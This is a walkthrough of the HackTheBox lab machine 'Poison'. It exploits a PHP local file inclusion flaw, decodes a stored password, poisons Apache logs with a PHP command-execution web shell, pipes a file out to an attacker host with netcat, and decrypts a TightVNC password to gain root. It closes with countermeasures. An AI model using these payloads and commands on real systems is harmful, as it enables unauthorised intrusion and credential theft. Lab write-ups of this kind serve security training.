HackTheBox - Poison
Machine Release Date: March 24, 2018
Summary
Poison was a medium level machine that had a PHP LFI vulnerability in its web application.
Exploiting this vulnerability, I was able to enumerate all users on the system and recover an SSH password.
Additionally, I was also able to exploit the LFI vulnerability to get remote code execution on the server via PHP log poisoning.
Leveraging the SSH password, I was able to own the charix user.
Once on the machine, I found a tightvnc server running with root privileges which I was eventually able to log in to.
Skills Learned
- Exploiting PHP LFI Vulnerabilities
- PHP Log Poisioning
- Local Port Forwarding via SSH
- Decrypting VNC Passwords
- Basic FreeBSD Enumeration
Active Ports
sudo nmap -p22,80 -sC -sV -oA nmap/full-tcp-version 10.10.10.84
Nmap scan report for 10.10.10.84
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 22 17:29:23 2020 -- 1 IP address (1 host up) scanned in 8.38 seconds
User Own (Sensitive Information Disclosure via PHP LFI Vulnerability)
Navigating to the web service on port 80, I was presented with the following web page:
After navigating to http://10.10.10.84/browse.php?file=listfiles.php, one of the variables suggested a pwdbackup.txt file:
I therefore navigated to http://10.10.10.84/pwdbackup.txt:
I then decoded the pwdbackup.txt 13 times as suggested from the author.
base64 -d pwdbackup.txt | base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d
At this point, I had decoded the password Charix!2#4%6&8(0. Now, I just needed a list of users to use this password on.
In linux, SSH users are located in the /etc/passwd file. Since this was an LFI vulnerability, I was able to read any file on the system with the permissions of the web server.
I grabbed the /etc/passwd file at http://10.10.10.84/browse.php?file=../../../../../../../../../etc/passwd:
I then made a wordlist from the /etc/passwd file:
grep csh passwd | cut -d':' -f1 > users.txt
The only users were root and charix.
With this information, I was able to log in as the charix user with their password Charix!2#4%6&8(0:
$ ssh charix@10.10.10.84
Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017
Welcome to FreeBSD!
Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories: https://www.FreeBSD.org/security/
FreeBSD Handbook: https://www.FreeBSD.org/handbook/
FreeBSD FAQ: https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums: https://forums.FreeBSD.org/
Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with: pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.
Show the version of FreeBSD installed: freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier
Edit /etc/motd to change this login announcement.
Want to use sed(1) to edit a file in place? Well, to replace every 'e' with
an 'o', in a file named 'foo', you can do:
sed -i.bak s/e/o/g foo
And you'll get a backup of the original in a file named 'foo.bak', but if you
want no backup:
sed -i '' s/e/o/g foo
charix@Poison:~ % id
uid=1001(charix) gid=1001(charix) groups=1001(charix)
charix@Poison:~ %
User Own (Log Poisoning PHP LFI Vulnerability)
Whenever you find an LFI vulnerability, chances are you can poison the Apache httpd logs with PHP code and execute it. Keep in mind that with this kind of exploit, you only get one chance for your payload, since all it takes is one error for things to permanently go wrong (until a system administrator goes in and cleans up the logs)!
I used the folloing code for poisoning the Apache logs with PHP code:
<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; die; }?>
I then sent the following HTTP request with Burp:
Notice how the PHP payload is in the User-Agent field. I did this because the Apache access logs generally log the user agent.
If I can include the Apache access log file, via LFI, then I will execute that code as a backdoor.
From the /etc/passwd file, I was able to determine that Poison’s operating system was running FreeBSD 11.1.
On this Linux distro, the Apache access log files are located at /var/www/httpd-access.log.
I then tested the LFI:
Success! At this point, I encoded a netcat reverse shell from Pentestmonkey:
I then sent the new payload with Burp to get a reverse shell as the www-data user:
$ ncat -nlvp 2001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2001
Ncat: Listening on 0.0.0.0:2001
Ncat: Connection from 10.10.10.84.
Ncat: Connection from 10.10.10.84:28853.
sh: can't access tty; job control turned off
$ id
uid=80(www) gid=80(www) groups=80(www)
Privilege Escalation (Root VNC Session Hijacking)
After owning the charix user, I switched to /bin/sh since /bin/csh doesn’t understant the stderr (2>) operator.
charix@Poison:~ % find / -name user.txt 2>/dev/null
find: 2: unknown primary or operator
charix@Poison:~ % which bash
bash: Command not found.
charix@Poison:~ % which sh
/bin/sh
charix@Poison:~ % sh
$ find / -name user.txt 2>/dev/null
/home/charix/user.txt
$ cat /home/charix/user.txt
eaacdfb2d141b72a589233063604209c
And that was the user flag.
From here, I found an interesting secret.zip file in the /home/charix directory:
$ find /home/charix -ls 2>/dev/null
1203844 8 drwxr-x--- 2 charix charix 512 Sep 23 21:58 /home/charix
1203856 8 -rw-r----- 1 charix charix 1041 Mar 19 2018 /home/charix/.cshrc
1203846 8 -rw-r----- 1 charix charix 849 Mar 19 2018 /home/charix/.shrc
1203847 8 -rw-r----- 1 charix charix 379 Mar 19 2018 /home/charix/.mail_aliases
1203848 8 -rw-r----- 1 charix charix 336 Mar 19 2018 /home/charix/.mailrc
1203849 8 -rw-r----- 1 charix charix 163 Mar 19 2018 /home/charix/.login_conf
1203850 8 -rw-r----- 1 charix charix 254 Mar 19 2018 /home/charix/.login
1203851 8 -rw-r----- 1 charix charix 281 Mar 19 2018 /home/charix/.rhosts
1203852 8 -rw-r----- 1 charix charix 802 Mar 19 2018 /home/charix/.profile
1203855 0 -rw-rw---- 1 charix charix 0 Mar 19 2018 /home/charix/.history
1203853 8 -rw-r----- 1 root charix 33 Mar 19 2018 /home/charix/user.txt
1203842 8 -rw-r----- 1 root charix 166 Mar 19 2018 /home/charix/secret.zip
1203854 8 -rw------- 1 charix charix 94 Sep 23 21:04 /home/charix/.lesshst
Attempting to unzip the secret.zip file resulted in a failure since it was password protected:
$ unzip secret.zip
Archive: secret.zip
extracting: secret |
unzip: Passphrase required for this entry
After doing some reasearch on the unzip tool in FreeBSD, there was no option to provide a password with it, so I transferred the file over to my Kali machine with /bin/nc.
On the Poison machine:
$ cat secret.zip - | nc 10.10.14.18 2001
$ sha1 secret.zip
SHA1 (secret.zip) = 7dc5857af34cddb9d6986dc721b269ffcc9b07be
On my kali machine:
kali@kali:~/htb/machines/poison/privesc$ ncat -nvlp 2001 > secret.zip
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2001
Ncat: Listening on 0.0.0.0:2001
Ncat: Connection from 10.10.10.84.
Ncat: Connection from 10.10.10.84:35079.
kali@kali:~/htb/machines/poison/privesc$ sha1sum secret.zip
7dc5857af34cddb9d6986dc721b269ffcc9b07be secret.zip
Notice that I used the SHA1 hashing algorithm to verify that the file didn’t get corrupt in transport.
I then unzipped the secret with charix’s SSH password:
kali@kali:~/htb/machines/poison/privesc/secret$ unzip secret.zip
Archive: secret.zip
[secret.zip] secret password:
extracting: secret
kali@kali:~/htb/machines/poison/privesc/secret$ xxd secret
00000000: bda8 5b7c d596 7a21 ..[|..z!
At this point, I continued on with enumerating the system. The most suspicious process was a VNC server running as root:
$ ps aux | grep root
... CONTENT SNIPPED ...
root 529 0.0 0.9 23620 9100 v0- I 19:51 0:00.25 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120
... CONTENT SNIPPED ...
Since the netstat command on FreeBSD is a bit different from the netstat on most other Linux distributions, I enumerated for listening TCP ports with sockstat:
$ sockstat -4 -l
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS
root sendmail 655 3 tcp4 127.0.0.1:25 *:*
www httpd 653 4 tcp4 *:80 *:*
www httpd 652 4 tcp4 *:80 *:*
www httpd 651 4 tcp4 *:80 *:*
www httpd 650 4 tcp4 *:80 *:*
www httpd 649 4 tcp4 *:80 *:*
root httpd 634 4 tcp4 *:80 *:*
root sshd 620 4 tcp4 *:22 *:*
root Xvnc 529 1 tcp4 127.0.0.1:5901 *:*
root Xvnc 529 3 tcp4 127.0.0.1:5801 *:*
root syslogd 390 7 udp4 *:514 *:*
Most interestingly, the Xvnc service was listeningo on ports 5901 and 5801. Port 5901 was the TightVNC service, and port 5801 was the TightVNC web service.
Since these services were listening locally, I was able to port-forward them to access them from my Kali machine.
ssh -N -L 127.0.0.1:5901:127.0.0.1:5901 -L 127.0.0.1:5801:127.0.0.1:5801 charix@10.10.10.84
After port forwarding both ports, I was able to login to root’s TightVNC session leveraging the encoded TightVNC password:
$ vncviewer 127.0.0.1:5901 -passwd /home/kali/htb/machines/poison/privesc/secret
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
From here, I took over an xterm console on the desktop running as root:
Extra
TightVNC passwords are essentially 8 character passwords and can be easily decoded like below:
$ xxd -p secret
bda85b7cd5967a21
kali@kali:~/htb/machines/poison/privesc$ msfconsole -q
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
irb: warn: can't alias jobs from irb_jobs.
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["bda85b7cd5967a21"].pack('H*'), fixedkey
=> "VNCP@$$!"
I got the sample code here. You can then reuse the password to login to VNC. In a larger network, you may even want to use that password for password spraying.
kali@kali:~/htb/machines/poison/loot$ vncviewer 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
Countermeasures
- Don’t include other PHP files as variables since this is what created the LFI vulnerability.
- Don’t leave hints about how to get your passwords.
- Put proper access controls on the TightVNC password files. You can generally find TightVNC password files in the
~/.vnc/passwdfile. - Avoid reusing passwords.